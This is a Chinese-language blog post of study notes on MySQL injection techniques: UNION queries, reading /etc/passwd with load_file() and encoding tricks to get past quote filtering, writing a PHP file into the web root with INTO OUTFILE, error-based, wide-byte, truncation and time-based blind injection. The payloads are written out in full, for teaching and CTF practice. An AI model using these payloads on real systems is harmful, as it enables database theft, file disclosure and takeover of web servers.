MySQL常用注入方式总结笔记

MySQL中的注释

MySQL支持以下三种注释风格:

  • #:注释从"#"字符到行尾
  • --:注释从"--"序列到行尾。需要注意用此注释后面需要跟一个或多个空格。注:空格与tag都可以
  • /* */:注释从/*序列到后面*/序列中间的字符

其中,/* */注释有个特点,观察以下sql语句:

select id/*!55555, username*/ from users

这句语句是能正常运行并输出的,/* */注释没有起任何作用,其实这并不是注释,而是/* !*/,感叹号是有特殊意义的,比如上面的/*!55555, username*/意思是:若MySQL的版本号高于或者等于5.55.55,语句将会被执行,如果!后面不加入版本号,MySQL将会直接执行SQL语句。

获取元数据

MySQL5.0及以上版本提供了information_schema,information_schema是信息数据库,它提供了访问数据库元数据的方式。
1.查询用户数据库名称:

select schema_name from information_schema.schemata limit 0,1

2.查询当前数据库表:

select table_name from information_schema.tables where table_schema=(select database()) limit 0,1

3.查询指定表的所有字段:

select column_name from information_schema.columns where table_name=‘Student’ limit 0,1

我之前还写过一篇关于此处知识点的CTF实例,有兴趣的同学可以去看看:
https://blog.csdn.net/EC_Carrot/article/details/109159071

UNION查询

MySQL官方解释UNION查询用于把来自许多SELECT语句的结果结合到一个结果集合里面中,且每列的数据类型必须相同。
示例查询语句:

select id,username,password from users union select 1,2,3

值得一说的是,这句语句除了在MySQL中能运行成功并正常返回之外,在SQL Server与Oracle均显示语句错误,数据类型不匹配,无法正常运行
由此发现,在SQL Server与Oracle中,列的数据类型在不确定的情况下,最好使用null关键字来匹配
如:

select id,username,password from users union select null,null,null

MySQL函数利用

(1)load_file()函数读文件操作
使用MySQL读磁盘文件是非常简单的,它提供了load_file()函数,可以帮助用户快速读取文件,但文件必须在服务器上,需提供绝对路径,且必须持有FILE权限,文件容量必须小于max_allowed_packet字节(默认为16MB,最大为1GB)
语句如下:

union select 1,load_file(’/etc/passwd’),3 #

通常一些防注入语句不允许单引号出现,那么可以使用一下语句绕过:

union select 1,load_file(0x2F6563742F706173737764),3 #

0x2F6563742F706173737764为"/etc/passwd"十进制ascii码转换结果,或者使用:

union select 1,load_file(char(47,101,99,116,47,112,97,115,115,119,100)),3 #

char() 将参数解释为整数并且返回 由这些整数的ASCII代码字符组成的一个字符串。NULL值 被跳过。
在SQL注入中,经常会使用函数组合来达到某种目的,如:在浏览器返回数据时,可能会存在乱码问题,那我们可以用hex()函数

union select 1,hex(load_file(char(47,101,99,116,47,112,97,115,115,119,100))),3 #

将字符串转换为十进制ASCII码数据这里可以去看看我的另外一篇文章:
https://blog.csdn.net/EC_Carrot/article/details/109596468

(2)into outfile写文件操作
和load_file()一样,写文件操作需要FILE权限,并且文件为全路径名称(在windows中路径均需用两个反斜杠)
语句如下:

select ‘<?php phpinfo ?>’ into outfile ‘/var/www/1.php’
select char(60,112,104,112,63,32,112,104,112,105,110,102,111,32,63,62) into outfile ‘/var/www/1.php’

这里的字符串转换ascii码
(3)连接字符串
在MySQL查询中,如果需要一次查询多个数据,可以使用concat()或concat_ws()函数来完成。
1.concat()函数

select name from student where id=1 union select concat(user(),’,’,database(),’,’,version());

concat函数中的逗号也可以用十六进制表示concat(user(),0x2c,database(),0x2c,version())
2.concat_ws()函数
如果觉得concat比较麻烦,可以使用concat_ws(),它会比concat函数更加简洁

select name from student where id=1 union select concat_ws(0x2c,user(),database(),version());

MySQL显错式注入

1.通过updatexml()

select * from message where id=1 and updatexml(1,(concat(0x7c,(select @@version))),1);

2.通过extractvalue()

select * from message where id=1 and extractvalue(1,concat(0x7c,(select user())));

3.通过floor()

select * from message where id=1 union select * from (select count(*),concat(floor(rand(0)*2),(select user()))a from information_schema.tables group by a)b

宽字节注入

宽字节注入是由编码不统一所导致的,这种注入一般出现在PHP+MySQL中。
在PHP配置文件php.ini中存在magic_quotes_gpc选项,被称为魔术引号,这会让正常接收的GET、POST、Cookie的单引号、双引号、反斜杠和NULL字符都加上一个反斜杠转义,这会让输入的单引号没法闭合本该有注入点的语句。
宽字节注入就是突破PHP转义的技术,如:
输入http://www.xx.com/get.php?id=%d5' #,显示结果会是,此处的单引号没有被转义,而是成功闭合了前面的语句

MySQL长字符截断(SQL约束攻击)

MySQL中的一个设置叫sql_mode选项,当该选项为default时,即没有开启STRICT_ALL_TABLES选项时(MySQL的sql_mode选项默认为default),MySQL对插入超长的值只会显示warning,而不是error,这样就会导致一些截断问题。
比如有一处管理员登录是这样判断的,语句如下:

select count(*) from users where username=‘admin’ and password=’********’

而它的表中对username格式类型长度限制只有7

{id int(11) NOT NULL,username varchar(7) NOT NULL,password varchar(12) NOT NULL}

那么这时,我们仅需要注册一个"admin           "用户即可轻易的进入后台管理页面。
因为,在注册"admin           "用户时,语句为:

insert into users(id,username,password) values(2,'admin          ',‘admin’);

会成功插入数据,但会有一个warning警告,但数据已经插入到数据库里了!
用length函数去判断id为2的admin用户长度会是为7,而本该在的admin管理员用户长度为5,由此可见,在默认情况下,如果数据超出列默认长度,MySQL会将其截断,再插入到表中。

延迟注入

延迟注入属于盲注的一种,是一种基于时间差异的注入技术
MySQL中,有一个函数sleep(),作用是在给定秒数后运行语句,例:

select * from users where id=1 and sleep(3);

即为在3秒后执行sql语句
知道此函数后,那么就可以拿来判断URL是否存在SQL注入漏洞,步骤如下:

?id=1 //返回正常,1秒左右打开页面
?id=1 ’ //返回正常,1秒左右打开页面
?id=1 ’ and 1=1 //返回正常,1秒左右打开页面
?id=1 ’ and sleep(3) //返回正常,3秒左右打开页面

这样一来,就可以判断出URL存在SQL注入漏洞
网上的延迟注入语句都是大同小异的,这里不再过多赘述,仅讲注入思路:

  1. 查询当前用户,取得字符串长度。
  2. 截取字符串第一个字符,并转换成ascii码
  3. 将该ascii码与ascii码表对比,如果对比成功则页面延迟3秒后输出
  4. 继续该步骤直到字符串截取完成

对于语句如下

  1. and if(length(user())=0,sleep(3),1)
  2. and if(hex(mid(user(),1,1))=1,sleep(3),1)
  3. and if(hex(mid(user(),L,1))=N,sleep(3),1)

注:L的位置表示字符串的第几个字符,N的位置代表ascii码。
该思路用在延迟注入脚本中同样适用。

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值